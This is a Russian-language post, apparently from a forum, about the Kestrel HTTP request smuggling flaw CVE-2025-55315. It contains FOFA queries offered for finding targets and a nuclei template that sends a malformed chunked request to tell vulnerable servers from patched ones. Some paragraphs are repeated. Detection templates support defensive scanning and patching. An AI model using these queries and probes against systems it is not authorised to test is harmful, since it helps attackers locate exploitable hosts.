CVE-2025-55315 — это уязвимость обхода защитного механизма в ASP.NET Core, возникающая из-за неконсистентной интерпретации HTTP-запросов (вариант HTTP request/response smuggling). Данная ошибка позволяет авторизованному злоумышленнику в сети обойти предусмотренные меры безопасности.
используйте этот запрос FOFA для поиска целей:
header="Kestrel"
server="Kestrel"
header="AspNetCore"
Используйте данный шаблон nuclei для обнаружения уязвимых целей.
Первопричина: сервер Kestrel (веб-сервер ASP.NET Core) некорректно принимает HTTP-кодировку chunked transfer при наличии повреждённых chunk-расширений, в которых используется символ \n (line feed) вместо требуемой последовательности \r\n (CRLF).
Отправка некорректного HTTP-запроса
Последовательность ;\n является недопустимой согласно спецификации HTTP (должно быть ;\r\n).
Исправленные серверы немедленно отклоняют такой запрос с кодом HTTP 400.
Уязвимые серверы:
либо «зависают» / уходят в timeout (ожидая дополнительные данные из-за сбоя парсера),
либо обрабатывают запрос как корректный (возвращая 200 OK).
используйте этот запрос FOFA для поиска целей:
header="Kestrel"
server="Kestrel"
header="AspNetCore"
Используйте данный шаблон nuclei для обнаружения уязвимых целей.
Код:
id: CVE-2025-55315
info:
name: ASP.NET Core Kestrel - HTTP Request Smuggling via Chunk Extensions
author: security-researcher
severity: critical
description: |
Detects CVE-2025-55315 - Critical HTTP request smuggling vulnerability in ASP.NET Core Kestrel.
Vulnerable versions accept malformed chunk extensions with invalid line endings (\n instead of \r\n),
allowing request smuggling attacks. Patched versions (>=8.0.21, >=9.0.10, >=10.0.0-rc2) immediately
reject these requests with a 400 Bad Request.
reference:
- https://github.com/dotnet/aspnetcore/security/advisories/GHSA-hh2w-p6rv-4g7w
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55315
- https://devblogs.microsoft.com/dotnet/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2025-55315
cwe-id: CWE-444
metadata:
verified: true
max-request: 2
tags: cve,cve2025,aspnet,kestrel,dotnet,smuggling,chunked-encoding
http:
# Test 1: Send malformed chunk extension with lone \n
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Transfer-Encoding: chunked
Connection: close
2;\n
xx
0
matchers-condition: or
matchers:
# Vulnerable: Server hangs or accepts the request
- type: dsl
name: vulnerable-timeout
dsl:
- 'status_code == 0' # Timeout/hang indicates vulnerability
- 'duration >= 30' # Server waited for more data
condition: and
# Vulnerable: Server returns 200 without error
- type: dsl
name: vulnerable-accepted
dsl:
- 'status_code == 200'
- '!contains(body, "Bad") && !contains(body, "400")'
condition: and
extractors:
- type: kval
kval:
- Server
- type: dsl
dsl:
- 'status_code'
- 'duration'
# Test 2: Verify with proper chunk encoding (control test)
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Transfer-Encoding: chunked
Connection: close
2
xx
0
matchers:
# This should succeed on both vulnerable and patched systems
- type: status
status:
- 200
- 204
- 301
- 302
# Additional Notes for Template Users:
#
# VULNERABLE BEHAVIOR:
# - Server hangs/times out waiting for more data (most common)
# - Server accepts request and returns 200 OK
# - No "Bad Request" or error messages
#
# PATCHED BEHAVIOR:
# - Immediate 400 Bad Request response
# - Response body contains "Bad chunk extension" or similar error
# - No timeout or hang
#
# AFFECTED VERSIONS:
# - .NET 8.0.0 - 8.0.20 (patch: 8.0.21+)
# - .NET 9.0.0 - 9.0.9 (patch: 9.0.10+)
# - .NET 10.0.0-rc1 (patch: 10.0.0-rc2+)
# - ALL unsupported versions (.NET Core 2.x-3.x, .NET 5-7)
#
# FALSE POSITIVES:
# - Proxies may block the request before reaching Kestrel
# - HTTP/2 and HTTP/3 are not vulnerable
# - Some WAFs may detect and block the malformed request
#
# TESTING CONSIDERATIONS:
# - This requires HTTP/1.1 protocol
# - Timeouts indicate vulnerability (server waiting for more data)
# - Immediate 400 responses indicate the server is PATCHED
Первопричина: сервер Kestrel (веб-сервер ASP.NET Core) некорректно принимает HTTP-кодировку chunked transfer при наличии повреждённых chunk-расширений, в которых используется символ \n (line feed) вместо требуемой последовательности \r\n (CRLF).
Отправка некорректного HTTP-запроса
Последовательность ;\n является недопустимой согласно спецификации HTTP (должно быть ;\r\n).
Исправленные серверы немедленно отклоняют такой запрос с кодом HTTP 400.
Уязвимые серверы:
либо «зависают» / уходят в timeout (ожидая дополнительные данные из-за сбоя парсера),
либо обрабатывают запрос как корректный (возвращая 200 OK).